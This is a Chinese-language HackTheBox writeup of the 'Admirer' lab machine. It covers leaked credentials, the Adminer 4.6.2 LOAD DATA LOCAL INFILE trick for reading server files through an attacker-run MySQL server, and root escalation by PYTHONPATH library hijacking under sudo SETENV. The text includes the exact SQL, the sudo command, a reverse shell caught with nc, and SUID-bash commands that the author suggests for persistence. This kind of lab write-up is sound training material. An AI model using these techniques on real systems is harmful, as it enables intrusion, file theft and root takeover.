← 返回列表

[HTB] Admirer Writeup

聚合站 SecWiki技术 作者 一个人的安全笔记 发布 2021年8月26日 10:00 入库 2026-11-18T18:09:58

概述 (Overview)

HOST:10.10.10.187时间:2021-07-11机器作者:polarbearer & GibParadox困难程度:EASY描述: 考察信息收集及枚举发现开发文件残留,利用泄露的内容查看其他服务,通过得到的备份信息进一步枚举开源服务。Flags: User:, Root:MACHINE TAGS:

Web

SQL

攻击链 (Kiillchain)

通过对目标服务 nmap 扫描发现存在 http、ftp 服务,对/robots.txt文件内的路径进行目录扫描,成功得到开发残留文件。通过文件中的账号成功登录ftp服务,下载Web备份文件至本地进行审计。发现存在数据库管理应用adminer,根据版本信息检索出应用存在mysql 读取本地文件的缺陷利用,读取服务上的mysql连接配置组合密码成功ssh登录服务器。在对用户账号所属组进行查询,发现可读取的backup.py和admin_tasks.sh,分析脚本发现存在Python hijacking,利用该风险成功完成提权。

枚举(Enumeration)

老规矩,开局使用 namp 对目标服务器进行端口扫描识别:

PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
22/tcp open ssh OpenSSH 7.4p1 Debian 10+deb9u7 (protocol 2.0)
| ssh-hostkey:
| 2048 4a:71:e9:21:63:69:9d:cb:dd:84:02:1a:23:97:e1:b9 (RSA)
| 256 c5:95:b6:21:4d:46:a4:25:55:7a:87:3e:19:a8:e7:02 (ECDSA)
| 256 d0:2d:dd:d0:5c:42:f8:7b:31:5a:be:57:c4:a9:a7:56 (ED25519)
80/tcp open http Apache httpd 2.4.25 ((Debian))
| http-robots.txt: 1 disallowed entry
|
/admin-dir
|_http-server-header: Apache/2.4.25 (Debian)
|_http-title: Admirer
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
|sslv2-drown:
22/tcp open ssh OpenSSH 7.4p1 Debian 10+deb9u7 (protocol 2.0)
80/tcp open http Apache httpd 2.4.25 ((Debian))
| http-csrf:
| Spidering limited to: maxdepth=3; maxpagecount=20; withinhost=10.10.10.187
| Found the following possible CSRF vulnerabilities:
|
| Path: http://10.10.10.187:80/
| Form id: name
|
Form action: #
|http-dombased-xss: Couldn't find any DOM based XSS.
| http-enum:
|
/robots.txt: Robots file
... snip ...从上述信息中可以获取到,存在HTTP服务、FTP服务(vsftpd 3.0.3),在/robots.txt文件中存在一个被禁止爬取的目录/admin-dir

随后对该路径进行目录枚举,检查下是否有其他目录存在:

成功发现两个新的 txt 文件,插查看文件内容:

$ cat credentials.txt
[Internal mail account]
w.cooper@admirer.htb
fgJr6q#S\W:$P

[FTP account]
ftpuser
%n?4Wz}R$tTF7

[Wordpress account]
admin
w0rdpr3ss01!

$ cat contacts.txt

admins

Penny

Email: p.wise@admirer.htb

developers

Rajesh

Email: r.nayyar@admirer.htb

Amy

Email: a.bialik@admirer.htb

Leonard

Email: l.galecki@admirer.htb

designers

Howard

Email: h.helberg@admirer.htb

Bernadette

Email: b.rauch@admirer.htb立足点(Foothold)

获悉到多个组账号、用户信息及FTP服务访问账号,尝试使用该账号访问FTP获取新的信息:

存在一个压缩文件和数据库文件,下载至本地后解压,在解压内容中发现新的账号密码信息:

$servername = "localhost";
$username = "waldo";
$password = "Wh3r3_1s_w4ld0?";

$servername = "localhost";
$username = "waldo";
$password = "]F7jLHw:*G>UPrTo}~A"d6b";
$dbname = "admirerdb";通过对脚本进行审计,发现utility-scripts/admin_tasks.php文件存在危险的代码执行函数shell_exec:

... snip ...$task=$_REQUEST['task'];if($task=='1'||$task=='2'||$task=='3'||$task=='4'||$task=='5'||$task=='6'||$task=='7')
{/*************
Available options:
1) View system uptime
2) View logged in users
3) View crontab (current user only)
4) Backup passwd file (not working)
5) Backup shadow file (not working)
6) Backup web data (not working)
7) Backup database (not working)

NOTE: Options 4-7 are currently NOT working because they need root privileges.
I'm leaving them in the valid tasks in case I figure out a way
to securely run code as root from a PHP page.
************/echostr_replace("\n","
", shell_exec("/opt/scripts/admin_tasks.sh $task 2>&1"));
... snip ...可惜无法利用,接收的$task只能为 1 至 7 无法注入到脚本中。类似的失败还有对dirsearch.py枚举更多二级目录、file_uploads关闭无法组合 “LFI + PHPINFO = RCE” 、组合收集到的账目密码进行登录爆破。

经过多种尝试后,浏览db-admin.php时存在待办注释项,将会使用开源的工具来代替该内容。

最后通过 Fuzzing 测试出adminer.php文件,也是一款开源的Web版数据库管理应用,与phpmyadmin类似(我整个人都佛了,这款就没有phpmyadmin知名度高,所以一开始就没想到是它)。访问http://admirer.htb/utility-scripts/adminer.php版本为4.6.2:

尝试组合收集到到账号密码进行mysql登陆爆破:

列表全部跑完发现还是失败的,没有可用于登陆数据库管理的账号。尝试找找 exploit-db 发现存在一条记录:

通过 google 搜adminer exploit会得到一个 “Adminer 4.6.2 file disclosure vulnerability” 的 title,查看后发现与目标系统版本一致:4.6.2

https://www.acunetix.com/vulnerabilities/web/adminer-4-6-2-file-disclosure-vulnerability/

Description
Adminer is a tool for managing content in MySQL databases. Adminer is distributed under Apache license in a form of a single PHP file.

Adminer versions up to (and including) 4.6.2 supported the use of the SQL statement LOAD DATA INFILE. It was possible to use this SQL statement to read arbitrary local files because of a protocol flaw in MySQL.在文中的参考连接里有具体实例:Adminer Script Results to Pwning Server - https://infosecwriteups.com/adminer-script-results-to-pwning-server-private-bug-bounty-program-fe6d8a43fe6f

使用 MySQL LOCAL INFILE 读取客户端文件

文中实例的攻击场景:

在公共 IP 地址中设置 MySQL 服务器

将 adminer 连接到 MySQL 服务器(现在用户已登录到 adminer)

通过read data local infile命令读取本地文件,将结果取回中

搞明白原理后我来进行攻击尝试,首先在kali中安装mysql服务器:

$ apt install mariadb-server
$ service mariadb restart
$ mysqladmin -u root password .qwer123修改/etc/mysql/mariadb.conf.d/50-server.cnf文件中的 127.0.0.1 改为 0.0.0.0,改变访问模式。

进入本地的mysql服务,将root账号改为允许远程登录:

MariaDB [(none)]> GRANT ALL PRIVILEGES ON . TO root@'%'IDENTIFIED by'.qwer123'WITH GRANT OPTION;
Query OK,0rows affected (0.001sec)
MariaDB [(none)]> flush privileges;
Query OK,0rows affected (0.001sec)创建个admin数据库和temp表,用于存储读取到远端服务器的本地文件内容:

使用目标服务器的 adminer 连接 kali 上启动的mysql服务:

通过执行sql语句读取目标服务器本地文件:

LOADDATALOCALINFILE'/etc/passwd'INTOTABLEadmin.tempFIELDSTERMINATEDBY"\n"如果目录不存在则会提示查询错误:

成功读取到内容将会被写入到 temp 表中:

通过该方式得到目标服务器的mysql连接配置:

$servername = "localhost";
$username = "waldo";
$password = "&";
$dbname = "admirerdb";使用新得到的密码测试ssh登录,提示成功:

权限提升(Privilege Escalation)

查看当前用户所属组,搜索具有相关组的文件和目录发现存在backup.py和admin_tasks.sh:

通过执行sudo -l发现存在可执行的/opt/scripts/admin_tasks.sh:

阅读admin_tasks.sh文件,发现用户需要传递一个参数,当参数为6时将执行backup_web方法:

... snip ...backup_web()
{if["$EUID"-eq0]thenecho"Running backup script in the background, it might take a while..."/opt/scripts/backup.py &elseecho"Insufficient privileges to perform the selected operation."fi}
... snip ...接着阅读backup.py文件,看来是一个压缩打包的脚本:

!/usr/bin/python3fromshutilimportmake_archive

src ='/var/www/html/'# old ftp directory, not used anymore#dst = '/srv/ftp/html'dst ='/var/backups/html'make_archive(dst,'gztar', src)通过搜索sudo -l中出现不常见的setenv找到了最终的利用点:

SETENV: 该指令允许用户在执行某些操作时设置环境变量

可以设置环境变量又结合运行 python 脚本,让我想起了PYTHONPATH hijacking,之前的Hackthebox-FriendZone文章中初步使用了该攻击。

详细可以参考:Linux 上的 Python 库劫持 - https://medium.com/analytics-vidhya/python-library-hijacking-on-linux-with-examples-a31e6a9860c8

主要是利用脚本中的from shutil import *导入,通过控制PYTHONPATH环境变量,结合python加载外部库的路径优先级特性,将加载恶意的shutil.py库。开始进行该漏洞的利用,首先在/tmp目录下创建反弹shell脚本:

在kali上开启 nc 监听,随后在/tmp目录下运行sudo PYTHONPATH=/tmp/ /opt/scripts/admin_tasks.sh,输入参数6后将会在 nc 上接收到反弹shell,成功提权。

复盘

在0xdf的博客里我找到了他对Python hijacking的详细解释:

我可以将 $PYTHONPATH 传入sudo. 那么那个变量是什么呢?当 Python 脚本调用 import 时,它会为模块检查一系列路径。我可以通过 sys 模块看到这一点:

注意第一个空行,这很重要 - 它在运行时用脚本的当前目录填充(因此如果 waldo 可以写入/opt/scripts,我可以通过这种方式利用它)。在这个系统上,$PYTHONPATH 当前是第一个填充目录。这意味着 Python 将首先尝试查看当前脚本目录,然后在尝试/tmp,然后 Python 尝试加载shutil.

还有就是0xdf碰到了定时任务每隔几分钟清理文件的情况,所以目标机器将hijacking文件写在/tmp、/opt/scripts文件夹内都不太合适。

所以可以查找其他的可写目录:$ find / -type d -writable 2>/dev/null | grep -v -e '^/proc' -e '/run'

我的思路是当时写反弹shell,0xdf的提权思路是复制/bin/bash和向authorized_keys写公钥。

os.system('cp /bin/bash /var/tmp/.0xdf; chown root:root /var/tmp/.0xdf; chmod 4755 /var/tmp/.0xdf')

实际上经过这一段时间的解题,目前我认为os.system('chmod +s /bin/bash’)是最简单快速的方式,以后拿来做权限维持会是个不错的思路。

参考

https://w00tsec.blogspot.com/2018/04/abusing-mysql-local-infile-to-read.html

https://phonexicum.github.io/infosec/sql-injection.html

https://book.hacktricks.xyz/linux-unix/privilege-escalation#setenv

https://medium.com/analytics-vidhya/python-library-hijacking-on-linux-with-examples-a31e6a9860c8

原文链接:https://mp.weixin.qq.com/s/8scaoLaiENuL_L5eLM7hYg